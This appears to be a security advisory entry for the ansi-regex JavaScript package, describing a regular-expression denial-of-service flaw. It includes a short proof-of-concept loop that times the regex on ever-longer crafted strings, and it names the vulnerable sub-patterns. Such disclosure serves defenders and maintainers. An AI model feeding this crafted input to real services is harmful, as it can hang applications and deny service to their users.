"details": "ansi-regex is vulnerable to Inefficient Regular Expression Complexity which could lead to a denial of service when parsing invalid ANSI escape codes.\n\n**Proof of Concept**\n```js\nimport ansiRegex from 'ansi-regex';\nfor(var i = 1; i <= 50000; i++) {\n var time = Date.now();\n var attack_str = \"\\u001B[\"+\";\".repeat(i*10000);\n ansiRegex().test(attack_str)\n var time_cost = Date.now() - time;\n console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost+\" ms\")\n}\n```\nThe ReDOS is mainly due to the sub-patterns `[[\\\\]()#;?]*` and `(?:;[-a-zA-Z\\\\d\\\\/#&.:=?%@~_]*)*`",
